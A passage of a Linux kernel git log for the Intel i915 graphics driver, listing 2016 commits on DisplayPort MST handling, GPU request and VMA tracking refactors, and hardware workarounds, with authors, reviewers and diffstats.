to work even if drm_probe_ddc() fails With HSW + Dell UP2414Q (at least) drm_probe_ddc() occasionally fails, and then we'll assume that the entire display has been disconnected. We don't need the EDID from the main link, so we can simply check if the sink is MST capable, and if so treat is as connected. v2: Skip drm_probe_ddc() entirely for MST (Daniel) Cc: Ander Conselvan de Oliveira Cc: Jim Bride Cc: Manasi D Navare Cc: Durgadoss R Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1469800276-6979-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_dp.c | 45 +++++++++++++++++++++++++++-------------- 1 file changed, 30 insertions(+), 15 deletions(-) commit f64425a82bdb5c3d7e09ba765716da88a9b00eec Author: Ville Syrjälä Date: Thu Jul 28 17:50:41 2016 +0300 drm/i915: Track active streams also for DP SST s/active_mst_links/active_streams/ and use it also for SST. We can then use this information in the hpd handling to see if the link is active or not, and thus whether we may need to retrain. Cc: Ander Conselvan de Oliveira Cc: Jim Bride Cc: Manasi D Navare Cc: Durgadoss R Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469717448-4297-6-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_ddi.c | 10 ++++++++++ drivers/gpu/drm/i915/intel_dp.c | 8 +++++++- drivers/gpu/drm/i915/intel_dp_mst.c | 16 ++++++++-------- drivers/gpu/drm/i915/intel_drv.h | 2 +- 4 files changed, 26 insertions(+), 10 deletions(-) commit 477321e0130c58f7fc3e41753ad95e934aaa7abc Author: Ville Syrjälä Date: Thu Jul 28 17:50:40 2016 +0300 drm/i915: Reject mixing MST and SST/HDMI on the same digital port We can't mix MST with SST/HDMI on the same physical port, so we'll need to reject such configurations in check_digital_port_conflicts(). Nothing else will prevent this as MST has its fake encoders and its own connectors so the cloning checks won't catch this. The same digital port can be used multiple times, but only if all the encoders involved are MST encoders, so we only want to check MST vs. SST/HDMI, not MST vs. MST. And SST/HDMI vs. SST/HDMI we already check. Cc: Maarten Lankhorst Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469717448-4297-5-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Maarten Lankhorst Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 64ee2fd25cc5ca86b18b153ac0f310964ca9fe0c Author: Ville Syrjälä Date: Thu Jul 28 17:50:39 2016 +0300 drm/i915: Avoid mixing up SST and MST in DDI setup The MST vs. SST selection should depend purely on the choice of the connector/encoder. So don't try to determine the correct DDI mode based on the intel_dp->is_mst, which simply tells us whether the sink is in MST mode or not. Instead derive the information from the encoder type. Since the link training code deals in non-fake encoders, we'll also need to keep a second copy of that information around, which we'll now designate as 'link_mst'. Cc: Maarten Lankhorst Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469717448-4297-4-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Maarten Lankhorst Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_ddi.c | 21 +++------------------ drivers/gpu/drm/i915/intel_dp.c | 1 + drivers/gpu/drm/i915/intel_drv.h | 1 + 3 files changed, 5 insertions(+), 18 deletions(-) commit fe5a66f91c88202fcbd5ccd2637f4dff35ed5cad Author: Ville Syrjälä Date: Fri Jul 29 16:52:39 2016 +0300 drm/i915: Read PSR caps/intermediate freqs/etc. only once on eDP Currently we re-read a bunch of static eDP panel caps from the DPCD over and over again. Let's do it only once to save some time and effort. v2: Make thing less confusing with intel_edp_init_dpcd() (Chris) Move no_aux_handshake setup in there as well v3: Move tps3/rate printout to intel_dp_long_pulse() so that we'll still get them on eDP as well Cc: Chris Wilson Signed-off-by: Ville Syrjälä Reviewed-by: Chris Wilson (v1) Link: http://patchwork.freedesktop.org/patch/msgid/1469800359-7087-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_dp.c | 155 ++++++++++++++++++++++------------------ 1 file changed, 84 insertions(+), 71 deletions(-) commit 1dd5b6f2020389e75bb3d269c038497f065e68c9 Author: Chris Wilson Date: Thu Aug 4 09:09:53 2016 +0100 drm/i915: Add missing rpm wakelock to GGTT pread Joonas spotted a discrepancy between the pwrite and pread ioctls, in that pwrite takes the rpm wakelock around its GGTT access, The wakelock is required in order for the GTT to function. In disregard for the current convention, we take the rpm wakelock around the access itself rather than around the struct_mutex as the nesting is not strictly required and such ordering will one day be fixed by explicitly noting the barrier dependencies between the GGTT and rpm. Fixes: b50a53715f09 ("drm/i915: Support for pread/pwrite ...") Reported-by: Joonas Lahtinen Signed-off-by: Chris Wilson Cc: Ankitprasad Sharma Cc: Tvrtko Ursulin Cc: Joonas Lahtinen Cc: drm-intel-fixes@lists.freedesktop.org Link: http://patchwork.freedesktop.org/patch/msgid/1470298193-21765-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_gem.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 36dbc4d76918d7557b686f807106dcc799174b12 Author: Chris Wilson Date: Thu Aug 4 08:43:53 2016 +0100 drm/i915/fbc: FBC causes display flicker when VT-d is enabled on Skylake Erratum SKL075: Display Flicker May Occur When Both VT-d And FBC Are Enabled "Display flickering may occur when both FBC (Frame Buffer Compression) and VT - d (Intel® Virtualization Technology for Directed I/O) are enabled and in use by the display controller." Ville found the w/a name in the database: WaFbcTurnOffFbcWhenHyperVisorIsUsed:skl,bxt and also dug out that it affects Broxton. v2: Log when the quirk is applied. v3: Ensure i915.enable_fbc is false when !HAS_FBC() v4: Fix function name after rebase v5: Add Broxton to the workaround Note for backporting to stable, we need to add #define mkwrite_device_info(ptr) \ ((struct intel_device_info *)INTEL_INFO(ptr)) Signed-off-by: Chris Wilson Cc: Paulo Zanoni Cc: Ville Syrjälä Reviewed-by: Ville Syrjälä Cc: stable@vger.kernel.org Link: http://patchwork.freedesktop.org/patch/msgid/1470296633-20388-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_fbc.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 5ac9793bf9f43cb4d8ecdcc521be1ba87057841a Author: Chris Wilson Date: Wed Jul 27 19:11:17 2016 +0100 drm/i915: Fix use of engine->index for register offset Since commit de1add360522 ("drm/i915: Decouple execbuf uAPI from internal implementation") the index of the engine (its engine->id) in the internal list no longer matches the hardware id. However, in a couple of locations we missed fixing up the difference. In this case, RING_FAULT_REG() refers to engine->id which is now not what the register offset actually should be. Fortunately, in both case we should be more or less looping over 0..I915_NUM_ENGINES. Fixes: de1add360522 ("drm/i915: Decouple execbuf uAPI from internal...") Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1469643077-2523-2-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Cc: stable@vger.kernel.org drivers/gpu/drm/i915/i915_reg.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit df0e9a287da83f3fd17b47d5f0682f48c722aee7 Author: Chris Wilson Date: Thu Aug 4 07:52:47 2016 +0100 Revert "drm/i915: Clean up associated VMAs on context destruction" This reverts commit e9f24d5fb7cf3628b195b18ff3ac4e37937ceeae. The patch was only a stop-gap measure that fixed half the problem - the leak of the fbcon when restarting X. A complete solution required releasing the VMA when the object itself was closed rather than rely on file/process exit. The previous patches add the VMA tracking necessary to do close them along with the object, context or file, and so the time has come to remove the partial fix. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-28-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 5 ----- drivers/gpu/drm/i915/i915_gem.c | 14 ++------------ drivers/gpu/drm/i915/i915_gem_context.c | 22 ---------------------- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 +- 4 files changed, 3 insertions(+), 40 deletions(-) commit 50e046b6a0ac42fdab4d3708224da8a0ae4997df Author: Chris Wilson Date: Thu Aug 4 07:52:46 2016 +0100 drm/i915: Mark the context and address space as closed When the user closes the context mark it and the dependent address space as closed. As we use an asynchronous destruct method, this has two purposes. First it allows us to flag the closed context and detect internal errors if we to create any new objects for it (as it is removed from the user's namespace, these should be internal bugs only). And secondly, it allows us to immediately reap stale vma. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-27-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem.c | 15 ++++++------ drivers/gpu/drm/i915/i915_gem_context.c | 43 ++++++++++++++++++++++++++++----- drivers/gpu/drm/i915/i915_gem_gtt.c | 9 +++++-- drivers/gpu/drm/i915/i915_gem_gtt.h | 9 +++++++ drivers/gpu/drm/i915/i915_gem_stolen.c | 2 +- 6 files changed, 63 insertions(+), 16 deletions(-) commit b1f788c6acb2f34622dd5f4c3d5210c6e3945e78 Author: Chris Wilson Date: Thu Aug 4 07:52:45 2016 +0100 drm/i915: Release vma when the handle is closed In order to prevent a leak of the vma on shared objects, we need to hook into the object_close callback to destroy the vma on the object for this file. However, if we destroyed that vma immediately we may cause unexpected application stalls as we try to unbind a busy vma - hence we defer the unbind to when we retire the vma. v2: Keep vma allocated until closed. This is useful for a later optimisation, but it is required now in order to handle potential recursion of i915_vma_unbind() by retiring itself. v3: Comments are important. Testcase: igt/gem_ppggtt/flink-and-close-vma-leak Signed-off-by: Chris Wilson Cc: Tvrtko Ursulin Cc: Daniele Ceraolo Spurio Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-26-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 1 + drivers/gpu/drm/i915/i915_drv.h | 4 +- drivers/gpu/drm/i915/i915_gem.c | 88 ++++++++++++++++++----------------- drivers/gpu/drm/i915/i915_gem_evict.c | 8 +--- drivers/gpu/drm/i915/i915_gem_gtt.c | 25 ++++++++++ drivers/gpu/drm/i915/i915_gem_gtt.h | 1 + 6 files changed, 77 insertions(+), 50 deletions(-) commit b0decaf75bd902a11c932005c88924947ac00b8c Author: Chris Wilson Date: Thu Aug 4 07:52:44 2016 +0100 drm/i915: Track active vma requests Hook the vma itself into the i915_gem_request_retire() so that we can accurately track when a solitary vma is inactive (as opposed to having to wait for the entire object to be idle). This improves the interaction when using multiple contexts (with full-ppgtt) and eliminates some frequent list walking when retiring objects after a completed request. A side-effect is that we get an active vma reference for free. The consequence of this is shown in the next patch... v2: Update inline names to be consistent with i915_gem_object_get_active() Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-25-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_gem.c | 50 +++++++++++++++++------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 10 +++++- drivers/gpu/drm/i915/i915_gem_gtt.c | 20 ++++++++++++ drivers/gpu/drm/i915/i915_gem_gtt.h | 33 ++++++++++++++++++++ 5 files changed, 91 insertions(+), 24 deletions(-) commit 5cf3d28098695f4e0641f164367ebb821185789b Author: Chris Wilson Date: Thu Aug 4 07:52:43 2016 +0100 drm/i915: i915_vma_move_to_active prep patch This patch is broken out of the next just to remove the code motion from that patch and make it more readable. What we do here is move the i915_vma_move_to_active() to i915_gem_execbuffer.c and put the three stages (read, write, fenced) together so that future modifications to active handling are all located in the same spot. The importance of this is so that we can more simply control the order in which the requests are place in the retirement list (i.e. control the order at which we retire and so control the lifetimes to avoid having to hold onto references). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-24-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 3 +- drivers/gpu/drm/i915/i915_gem.c | 18 -------- drivers/gpu/drm/i915/i915_gem_context.c | 9 ++-- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 65 ++++++++++++++++++---------- drivers/gpu/drm/i915/i915_gem_render_state.c | 2 +- 5 files changed, 51 insertions(+), 46 deletions(-) commit 4b8de8e68a2a5e2e7bdd755eacf18b5e9ce1c729 Author: Chris Wilson Date: Thu Aug 4 07:52:42 2016 +0100 drm/i915: Move request list retirement to i915_gem_request.c As the list retirement is now clean of implementation details, we can move it closer to the request management. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-23-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 44 --------------------------------- drivers/gpu/drm/i915/i915_gem_request.c | 35 ++++++++++++++++++++++++++ 2 files changed, 35 insertions(+), 44 deletions(-) commit 909d074c31713dd1c43e8c7665f9e42791c672b8 Author: Chris Wilson Date: Thu Aug 4 07:52:41 2016 +0100 drm/i915: Double check activity before relocations If the object is active and we need to perform a relocation upon it, we need to take the slow relocation path. Before we do, double check the active requests to see if they have completed. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-22-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 776f32364d625305041e1760233c52fdb71d2563 Author: Chris Wilson Date: Thu Aug 4 07:52:40 2016 +0100 drm/i915: s/__i915_wait_request/i915_wait_request/ There is only one wait on request function now, so drop the "expert" indication of leading __. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-21-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 18 +++++++++--------- drivers/gpu/drm/i915/i915_gem_request.c | 16 ++++++++-------- drivers/gpu/drm/i915/i915_gem_request.h | 12 ++++++------ drivers/gpu/drm/i915/i915_gem_userptr.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 14 +++++++------- drivers/gpu/drm/i915/intel_ringbuffer.c | 8 ++++---- 6 files changed, 35 insertions(+), 35 deletions(-) commit 37db14700e995aa7b74e09b2a1bfe786f0db0121 Author: Chris Wilson Date: Thu Aug 4 07:52:39 2016 +0100 drm/i915: Disable waitboosting for a saturated engine If the user floods the GPU with so many requests that the engine stalls waiting for free space, don't automatically promote the GPU to maximum frequencies. If the GPU really is saturated with work, it will migrate to high clocks by itself, otherwise it is merely a user flooding us with busy-work. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-20-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7da844c5c6fcb7a3575dd20701b481fe86918ab0 Author: Chris Wilson Date: Thu Aug 4 07:52:38 2016 +0100 drm/i915: Move the special case wait-request handling to its one caller Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-19-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 25 ------------------------- drivers/gpu/drm/i915/i915_gem_request.h | 4 ---- drivers/gpu/drm/i915/intel_ringbuffer.c | 18 +++++++++++++----- 3 files changed, 13 insertions(+), 34 deletions(-) commit 0d9bdd886f295b62c254a99da4153e7d287adb12 Author: Chris Wilson Date: Thu Aug 4 07:52:37 2016 +0100 drm/i915: Convert intel_overlay to request tracking intel_overlay already tracks its last flip request, along with action to take after its completion. Refactor intel_overlay to reuse the common i915_gem_active tracker. v2: Now using i915_gem_retire_fn typedef References: https://bugs.freedesktop.org/show_bug.cgi?id=93730 References: https://bugs.freedesktop.org/show_bug.cgi?id=96851 Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-18-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_overlay.c | 82 +++++++++++++++--------------------- 1 file changed, 34 insertions(+), 48 deletions(-) commit 675d9ad71b0b7a6101500fea3e7b2b0c5bb6a8fd Author: Chris Wilson Date: Thu Aug 4 07:52:36 2016 +0100 drm/i915: Track requests inside each intel_ring By tracking each request occupying space inside an individual intel_ring, we can greatly simplify the logic of tracking available space and not worry about other timelines. (Each ring is an ordered timeline of committed requests.) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-17-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 2 ++ drivers/gpu/drm/i915/i915_gem_request.h | 3 +++ drivers/gpu/drm/i915/intel_ringbuffer.c | 15 ++++----------- drivers/gpu/drm/i915/intel_ringbuffer.h | 2 ++ 4 files changed, 11 insertions(+), 11 deletions(-) commit fa545cbf9765914da302beb74d68cfd8f21b3843 Author: Chris Wilson Date: Thu Aug 4 07:52:35 2016 +0100 drm/i915: Refactor activity tracking for requests With the introduction of requests, we amplified the number of atomic refcounted objects we use and update every execbuffer; from none to several references, and a set of references that need to be changed. We also introduced interesting side-effects in the order of retiring requests and objects. Instead of independently tracking the last request for an object, track the active objects for each request. The object will reside in the buffer list of its most recent active request and so we reduce the kref interchange to a list_move. Now retirements are entirely driven by the request, dramatically simplifying activity tracking on the object themselves, and removing the ambiguity between retiring objects and retiring requests. Furthermore with the consolidation of managing the activity tracking centrally, we can look forward to using RCU to enable lockless lookup of the current active requests for an object. In the future, we will be able to query the status or wait upon rendering to an object without even touching the struct_mutex BKL. All told, less code, simpler and faster, and more extensible. v2: Add a typedef for the function pointer for convenience later. v3: Make the noop retirement callback explicit. Allow passing NULL to the init_request_active() which is expanded to a common noop function. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-16-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/Makefile | 1 - drivers/gpu/drm/i915/i915_drv.h | 10 --- drivers/gpu/drm/i915/i915_gem.c | 129 ++++++-------------------------- drivers/gpu/drm/i915/i915_gem_debug.c | 70 ----------------- drivers/gpu/drm/i915/i915_gem_fence.c | 11 +-- drivers/gpu/drm/i915/i915_gem_request.c | 50 +++++++++++-- drivers/gpu/drm/i915/i915_gem_request.h | 97 +++++++++++++++++------- drivers/gpu/drm/i915/intel_engine_cs.c | 1 - drivers/gpu/drm/i915/intel_ringbuffer.h | 12 --- 9 files changed, 138 insertions(+), 243 deletions(-) commit 21c310f2f968fce8d06d8b001bd3df287189c812 Author: Chris Wilson Date: Thu Aug 4 07:52:34 2016 +0100 drm/i915: Remove obsolete i915_gem_object_flush_active() Since we track requests, and requests are always added to the GPU fully formed, we never have to flush the incomplete request and know that the given request will eventually complete without any further action on our part. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-15-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 59 +++-------------------------------------- 1 file changed, 3 insertions(+), 56 deletions(-) commit efdf7c0605ba0eeab1a002c43a84f959099aa8f0 Author: Chris Wilson Date: Thu Aug 4 07:52:33 2016 +0100 drm/i915: Rename request->list to link for consistency We use "list" to denote the list and "link" to denote an element on that list. Rename request->list to match this idiom. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-14-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 4 ++-- drivers/gpu/drm/i915/i915_gem.c | 10 +++++----- drivers/gpu/drm/i915/i915_gem_request.c | 12 ++++++------ drivers/gpu/drm/i915/i915_gem_request.h | 4 ++-- drivers/gpu/drm/i915/i915_gpu_error.c | 4 ++-- drivers/gpu/drm/i915/intel_ringbuffer.c | 6 +++--- 6 files changed, 20 insertions(+), 20 deletions(-) commit 8cac6f6c415bcd559db2f5c05c1bd76d7e378f67 Author: Chris Wilson Date: Thu Aug 4 07:52:32 2016 +0100 drm/i915: Refactor blocking waits Tidy up the for loops that handle waiting for read/write vs read-only access. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-13-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 158 +++++++++++++++++++--------------------- 1 file changed, 75 insertions(+), 83 deletions(-) commit d72d908b5619896fe7832b0c4c408e664ffe4e69 Author: Chris Wilson Date: Thu Aug 4 07:52:31 2016 +0100 drm/i915: Mark up i915_gem_active for locking annotation The future annotations will track the locking used for access to ensure that it is always sufficient. We make the preparations now to present the API ahead and to make sure that GCC can eliminate the unused parameter. Before: 6298417 3619610 696320 10614347 a1f64b vmlinux After: 6298417 3619610 696320 10614347 a1f64b vmlinux (with i915 builtin) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-12-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 12 +++++--- drivers/gpu/drm/i915/i915_gem.c | 49 ++++++++++++++++++++++----------- drivers/gpu/drm/i915/i915_gem_fence.c | 3 +- drivers/gpu/drm/i915/i915_gem_request.h | 36 +++++++++++++++--------- drivers/gpu/drm/i915/i915_gem_tiling.c | 3 +- drivers/gpu/drm/i915/i915_gem_userptr.c | 3 +- drivers/gpu/drm/i915/i915_gpu_error.c | 29 +++++++++++++++---- drivers/gpu/drm/i915/intel_display.c | 12 +++++--- 8 files changed, 101 insertions(+), 46 deletions(-) commit 27c01aaef041f1fa3908c0330ff86d345523c3dc Author: Chris Wilson Date: Thu Aug 4 07:52:30 2016 +0100 drm/i915: Prepare i915_gem_active for annotations In the future, we will want to add annotations to the i915_gem_active struct. The API is thus expanded to hide direct access to the contents of i915_gem_active and mediated instead through a number of helpers. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-11-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 13 ++-- drivers/gpu/drm/i915/i915_gem.c | 85 ++++++++++++--------- drivers/gpu/drm/i915/i915_gem_fence.c | 11 ++- drivers/gpu/drm/i915/i915_gem_request.h | 127 ++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_gem_tiling.c | 2 +- drivers/gpu/drm/i915/i915_gem_userptr.c | 8 +- drivers/gpu/drm/i915/i915_gpu_error.c | 9 ++- drivers/gpu/drm/i915/intel_display.c | 15 ++-- 8 files changed, 204 insertions(+), 66 deletions(-) commit 381f371b25946518f4882fa2060326fa92a33bfc Author: Chris Wilson Date: Thu Aug 4 07:52:29 2016 +0100 drm/i915: Introduce i915_gem_active for request tracking In the next patch, request tracking is made more generic and for that we need a new expanded struct and to separate out the logic changes from the mechanical churn, we split out the structure renaming into this patch. v2: Writer's block. Add some spiel about why we track requests. v3: Now i915_gem_active. v4: Now with i915_gem_active_set() for attaching to the active request. v5: Use i915_gem_active_set() from inside the retirement handlers Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-10-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 11 +++--- drivers/gpu/drm/i915/i915_drv.h | 9 +++-- drivers/gpu/drm/i915/i915_gem.c | 58 +++++++++++++++--------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 +-- drivers/gpu/drm/i915/i915_gem_fence.c | 6 ++-- drivers/gpu/drm/i915/i915_gem_request.h | 41 +++++++++++++++++++++ drivers/gpu/drm/i915/i915_gem_tiling.c | 2 +- drivers/gpu/drm/i915/i915_gem_userptr.c | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 7 ++-- drivers/gpu/drm/i915/intel_display.c | 8 ++--- 10 files changed, 93 insertions(+), 55 deletions(-) commit 4717ca9eec1bb88513fb5cbe62f44348d5bc946c Author: Chris Wilson Date: Thu Aug 4 07:52:28 2016 +0100 drm/i915: Kill drop_pages() The drop_pages() function is a dangerous trap in that it can release the passed in object pointer and so unless the caller is aware, it can easily trick us into using the stale object afterwards. Move it into its solitary callsite where we know it is safe. Signed-off-by: Chris Wilson Reviewed-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-9-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) commit aa653a685d816648dd903f76c14a30d8baa23933 Author: Chris Wilson Date: Thu Aug 4 07:52:27 2016 +0100 drm/i915: Be more careful when unbinding vma When we call i915_vma_unbind(), we will wait upon outstanding rendering. This will also trigger a retirement phase, which may update the object lists. If, we extend request tracking to the VMA itself (rather than keep it at the encompassing object), then there is a potential that the obj->vma_list be modified for other elements upon i915_vma_unbind(). As a result, if we walk over the object list and call i915_vma_unbind(), we need to be prepared for that list to change. Signed-off-by: Chris Wilson Reviewed-by: Tvrtko Ursulin Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 2 ++ drivers/gpu/drm/i915/i915_gem.c | 57 +++++++++++++++++++++++--------- drivers/gpu/drm/i915/i915_gem_shrinker.c | 8 +---- drivers/gpu/drm/i915/i915_gem_userptr.c | 4 +-- 4 files changed, 46 insertions(+), 25 deletions(-) commit 15717de219f2ea4792d27ff62c29d08e46cda7f8 Author: Chris Wilson Date: Thu Aug 4 07:52:26 2016 +0100 drm/i915: Count how many VMA are bound for an object Since we may have VMA allocated for an object, but we interrupted their binding, there is a disparity between have elements on the obj->vma_list and being bound. i915_gem_obj_bound_any() does this check, but this is not rigorously observed - add an explicit count to make it easier. Signed-off-by: Chris Wilson Reviewed-by: Tvrtko Ursulin Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 12 +++++------- drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_gem.c | 30 ++++++++++-------------------- drivers/gpu/drm/i915/i915_gem_shrinker.c | 17 ++++++++--------- drivers/gpu/drm/i915/i915_gem_stolen.c | 1 + 5 files changed, 26 insertions(+), 37 deletions(-) commit 2bfa996e031bdc6de1567ee05438f8a310fa7a4c Author: Chris Wilson Date: Thu Aug 4 07:52:25 2016 +0100 drm/i915: Store owning file on the i915_address_space For the global GTT (and aliasing GTT), the address space is owned by the device (it is a global resource) and so the per-file owner field is NULL. For per-process GTT (where we create an address space per context), each is owned by the opening file. We can use this ownership information to both distinguish GGTT and ppGTT address spaces, as well as occasionally inspect the owner. v2: Whitespace, tells us who owns i915_address_space Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 1 - drivers/gpu/drm/i915/i915_gem_context.c | 3 ++- drivers/gpu/drm/i915/i915_gem_gtt.c | 30 +++++++++++++++--------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 17 +++++++++++------ 5 files changed, 29 insertions(+), 24 deletions(-) commit 34c998b4ebf6c48154c76ea9bc9bffabd91a8af2 Author: Chris Wilson Date: Thu Aug 4 07:52:24 2016 +0100 drm/i915: Rearrange GGTT probing to avoid needing a vfunc Since we have a static if-else-chain for device probing of the global GTT, we do not need to use a function pointer, let alone store it when we never use it again. So use the if-else-chain to call down into the device specific probe. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 109 +++++++++++++++++------------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 3 - 2 files changed, 50 insertions(+), 62 deletions(-) commit f6b9d5cabd582bcae8db92eac0c3a138370e4167 Author: Chris Wilson Date: Thu Aug 4 07:52:23 2016 +0100 drm/i915: Split early global GTT initialisation Initialising the global GTT is tricky as we wish to use the drm_mm range manager during the modesetting initialisation (to capture stolen allocations from the BIOS) before we actually enable GEM. To overcome this, we currently setup the drm_mm first and then carefully rebind them. v2: Fixup after rebasing v3: GGTT initialisation needs to be split around kicking out conflicts v4: Restore an old UMS BUG_ON(mappable > total) as a DRM_ERROR plus fixup of probe results. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 19 -------- drivers/gpu/drm/i915/i915_gem.c | 6 ++- drivers/gpu/drm/i915/i915_gem_gtt.c | 87 ++++++++++++++-------------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 2 +- drivers/gpu/drm/i915/i915_gem_stolen.c | 17 ++++--- 5 files changed, 49 insertions(+), 82 deletions(-) commit 97d6d7ab68e0b1f7268a5a69187c86305d65762f Author: Chris Wilson Date: Thu 